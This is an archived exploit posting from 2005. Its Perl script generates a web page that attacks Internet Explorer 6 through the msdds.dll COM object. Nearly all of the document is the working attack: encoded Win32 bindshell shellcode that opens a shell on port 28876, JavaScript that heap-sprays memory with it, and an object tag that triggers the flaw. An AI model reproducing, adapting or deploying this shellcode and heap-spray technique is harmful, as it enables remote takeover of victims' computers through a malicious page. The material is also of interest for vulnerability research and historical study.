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IE-Msddsdll-0day.txt

IE-Msddsdll-0day.txt
Posted Aug 19, 2005

Microsoft Internet Explorer msdds.dll remote code execution exploit. z3r0 d4y. Binds a shell on port 28876. Tested on Microsoft Internet Explorer 6 SP2 (Windows XP SP2).

tags | exploit, remote, shell, code execution
systems | windows
SHA-256 | ab531592f4edf46d3ad65c8e7ca10ce201f0598197ce9519a3ee74296cf3c7c5

IE-Msddsdll-0day.txt

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#!/usr/bin/perl
#######################################################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
#######################################################
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2, 1991 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
#######################################################

# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";

# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<700;i++) memory[i] = block + shellcode;\n".
"</SCRIPT>\n";

# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';

# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";

# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";
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